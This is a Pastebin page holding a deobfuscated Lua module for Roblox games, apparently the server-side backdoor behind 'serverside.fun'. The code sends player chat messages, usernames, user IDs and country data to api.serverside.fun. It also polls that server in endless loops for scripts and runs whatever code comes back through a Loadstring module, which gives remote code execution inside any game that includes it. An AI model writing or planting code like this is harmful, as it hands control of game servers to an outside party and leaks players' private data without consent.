Advertisement
darraghd493

Serverside.fun Beautified Module Script

Jan 7th, 2024 (edited)
3,209
0
Never
3
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 7.83 KB | Source Code | 0 0
  1. --[[
  2. IDs in this script:
  3. - 13749573698 - Watermark
  4. - 3436957371 - R6
  5. ]]
  6.  
  7. local GET_PLAYERS_URL = "https://api.serverside.fun/v1/get-players"
  8. local WATERMARK_ID = 13749573698
  9.  
  10. local LocalisationService = game:GetService("LocalizationService")
  11. local HttpService = game:GetService("HttpService")
  12. local Players = game:GetService("Players")
  13.  
  14. local Module = {}
  15.  
  16. Players.PlayerAdded:Connect(function(player)
  17.         pcall(function()
  18.             local response = HttpService:GetAsync("https://api.serverside.fun/v1/check-whitelist/" .. player.UserId .. "/" .. game.GameId)
  19.             local user_data = HttpService:JSONDecode(response)
  20.            
  21.             if user_data.whitelisted ~= false then
  22.                 pcall(function()
  23.                     player.Chatted:Connect(function(message)
  24.                         pcall(function()
  25.                             HttpService:PostAsync("https://api.serverside.fun/v1/chat", HttpService:JSONEncode({
  26.                                 ["text"] = tostring(message),
  27.                                 ["robloxId"] = tostring(player.UserId),
  28.                                 ["placeId"] = tostring(game.PlaceId)
  29.                             }))
  30.                         end)
  31.                     end)
  32.                 end)
  33.  
  34.                 if user_data.watermark then
  35.                     if user_data.watermark == true then
  36.                         pcall(function()
  37.                             require(WATERMARK_ID).hi(player.Name)
  38.                         end)
  39.                     end
  40.                 end
  41.  
  42.                 local function getPlayerData()
  43.                     local playerData = {}
  44.  
  45.                     for i, v in ipairs(Players:GetPlayers()) do
  46.                         local country = "Unknown"
  47.                        
  48.                         pcall(function()
  49.                             country = LocalisationService:GetCountryRegionForPlayerAsync(v)
  50.                         end)
  51.  
  52.                         table.insert(playerData, {username = v.Name, userid = v.UserId, displayName = v.DisplayName, country = country})
  53.                     end
  54.                    
  55.                     return playerData
  56.                 end
  57.  
  58.                 local function postPlayerData()
  59.                     task.wait(0.5)
  60.                     if Players:FindFirstChild(player.Name) then
  61.                         HttpService:PostAsync(GET_PLAYERS_URL, HttpService:JSONEncode({value = getPlayerData(), robloxId = player.UserId}))
  62.                     end
  63.                 end
  64.  
  65.                 local posted_removing_1 = true
  66.                 local posted_removing_2 = false
  67.                
  68.                 local function postPlayerRemovingData()
  69.                     task.wait(1)
  70.  
  71.                     if Players:FindFirstChild(player.Name) and posted_removing_1 == true then
  72.                         postPlayerData()
  73.                     else
  74.                         posted_removing_1 = false
  75.                         if posted_removing_2 == false then
  76.                             HttpService:PostAsync(GET_PLAYERS_URL, HttpService:JSONEncode({value = {}, robloxId = player.UserId}))
  77.                             posted_removing_2 = true
  78.                         end
  79.                     end
  80.                 end
  81.                
  82.                 pcall(function()
  83.                     postPlayerData()
  84.                     Players.PlayerAdded:Connect(postPlayerData)
  85.                     Players.PlayerRemoving:Connect(postPlayerRemovingData)
  86.                 end)
  87.  
  88.                 -- Premium script polling
  89.                 if user_data.type ~= "NORMAL" then
  90.                     pcall(function()
  91.                         local premium_script_poll_data = HttpService:JSONDecode(HttpService:GetAsync("https://api.serverside.fun/v1/private-scripts/" .. player.UserId))
  92.                         for i, v in ipairs(premium_script_poll_data.scripts) do
  93.                             pcall(function()
  94.                                 if v == "r6()" then
  95.                                     pcall(function()
  96.                                         require(3436957371):r6(player.Name)
  97.                                     end)
  98.                                 elseif v == "re()" then
  99.                                     pcall(function()
  100.                                         player:LoadCharacter()
  101.                                     end)
  102.                                 elseif v:match("USERNAME") then
  103.                                     pcall(function()
  104.                                         require(script.Loadstring)(string.gsub(v, "USERNAME", player.Name))()
  105.                                     end)
  106.                                 else
  107.                                     pcall(function()
  108.                                         require(script.Loadstring)(v)()
  109.                                     end)
  110.                                 end
  111.                             end)
  112.                         end
  113.                     end)
  114.                 end
  115.  
  116.                 -- Normal script polling
  117.                 local script_poll_url = "https://api.serverside.fun/v1/long-polling/kkwAhfSFRnAyAoffQYNEEviBUAVs/" .. player.UserId
  118.                 while true do
  119.                     local success, error = pcall(HttpService.GetAsync, HttpService, script_poll_url)
  120.                     if success then
  121.                         local success_2, error_2 = pcall(HttpService.JSONDecode, HttpService, error)
  122.                         if success_2 then
  123.                             if error_2 and error_2["script"] then
  124.                                 if Players:FindFirstChild(player.Name) then
  125.                                     local polled_script = error_2["script"].script
  126.                                     if player.UserId == tonumber(error_2["script"].robloxId) then
  127.                                         if polled_script == "r6()" then
  128.                                             pcall(function()
  129.                                                 require(3436957371):r6(player.Name)
  130.                                             end)
  131.                                         elseif polled_script == "re()" then
  132.                                             pcall(function()
  133.                                                 player:LoadCharacter()
  134.                                             end)
  135.                                         elseif polled_script:match("USERNAME") then
  136.                                             pcall(function()
  137.                                                 require(script.Loadstring)(string.gsub(polled_script, "USERNAME", player.Name))()
  138.                                             end)
  139.                                         else
  140.                                             pcall(function()
  141.                                                 require(script.Loadstring)(polled_script)()
  142.                                             end)
  143.                                         end
  144.  
  145.                                         pcall(function()
  146.                                             HttpService:PostAsync("https://api.serverside.fun/v1/script-logs", HttpService:JSONEncode({
  147.                                                 ["script"] = polled_script,
  148.                                                 ["robloxId"] = tostring(player.UserId),
  149.                                                 ["gameId"] = tostring(game.GameId)
  150.                                             }))
  151.                                         end)
  152.                                     end
  153.                                 end
  154.                             end
  155.                         end
  156.                     end
  157.                     task.wait()
  158.                 end
  159.             end
  160.         end)
  161.  
  162.         -- Free script polling
  163.         pcall(
  164.             function()
  165.             local free_user_data = HttpService:JSONDecode(HttpService:GetAsync("https://api.serverside.fun/v1/toggle-free/check/" .. player.UserId))
  166.             if free_user_data.whitelisted ~= false then
  167.                 local function getPlayerData()
  168.                     local playerData = {}
  169.  
  170.                     for i, v in ipairs(Players:GetPlayers()) do
  171.                         local country = "Unknown"
  172.                        
  173.                         pcall(function()
  174.                             country = LocalisationService:GetCountryRegionForPlayerAsync(v)
  175.                         end)
  176.  
  177.                         table.insert(playerData, {username = v.Name, userid = v.UserId, displayName = v.DisplayName, country = country})
  178.                     end
  179.                    
  180.                     return playerData
  181.                 end
  182.  
  183.                 local function postPlayerData()
  184.                     task.wait(0.5)
  185.                     if Players:FindFirstChild(player.Name) then
  186.                         HttpService:PostAsync(GET_PLAYERS_URL, HttpService:JSONEncode({value = getPlayerData(), robloxId = player.UserId}))
  187.                     end
  188.                 end
  189.  
  190.                 local posted_removing_1 = true
  191.                 local posted_removing_2 = false
  192.  
  193.                 local function postPlayerRemovingData()
  194.                     task.wait(1)
  195.  
  196.                     if Players:FindFirstChild(player.Name) and posted_removing_1 == true then
  197.                         postPlayerData()
  198.                     else
  199.                         posted_removing_1 = false
  200.                         if posted_removing_2 == false then
  201.                             HttpService:PostAsync(GET_PLAYERS_URL, HttpService:JSONEncode({value = {}, robloxId = player.UserId}))
  202.                             posted_removing_2 = true
  203.                         end
  204.                     end
  205.                 end
  206.  
  207.                 pcall(function()
  208.                     postPlayerData()
  209.                     Players.PlayerAdded:Connect(postPlayerData)
  210.                     Players.PlayerRemoving:Connect(postPlayerRemovingData)
  211.                 end)
  212.  
  213.                 pcall(function()
  214.                     require(WATERMARK_ID).hi(player.Name)
  215.                 end)
  216.  
  217.                 -- Free script polling
  218.                 while true do
  219.                     task.wait(1)
  220.                     if Players:FindFirstChild(player.Name) then
  221.                         local script_poll_data = HttpService:JSONDecode(HttpService:GetAsync("https://api.serverside.fun/v1/pending-script/" .. player.UserId))
  222.                         local pending_scripts = script_poll_data.pendingScripts
  223.                        
  224.                         for i, v in pairs(pending_scripts) do
  225.                             if v.script == "r6()" then
  226.                                 pcall(function()
  227.                                     require(3436957371):r6(player.Name)
  228.                                 end)
  229.                             elseif v.script == "re()" then
  230.                                 pcall(function()
  231.                                     player:LoadCharacter()
  232.                                 end)
  233.                             elseif v.script:match("USERNAME") then
  234.                                 local z = string.gsub(v.script, "USERNAME", player.Name)
  235.                                 pcall(function()
  236.                                     require(script.Loadstring)(z)()
  237.                                 end)
  238.                             else
  239.                                 pcall(function()
  240.                                     require(script.Loadstring)(v.script)()
  241.                                 end)
  242.                             end
  243.                         end
  244.                     end
  245.                 end
  246.             else
  247.             end
  248.         end)
  249.     end
  250. )
  251.  
  252. Players.PlayerAdded:Connect(function(player)
  253.     pcall(function()
  254.         HttpService:PostAsync("https://api.serverside.fun/v1/games", HttpService:JSONEncode({["jobId"] = tostring(game.JobId), ["universe"] = tostring(game.GameId)}))
  255.     end)
  256. end)
  257.  
  258. return Module
  259.  
Advertisement
Comments
Add Comment
Please, Sign In to add comment
Advertisement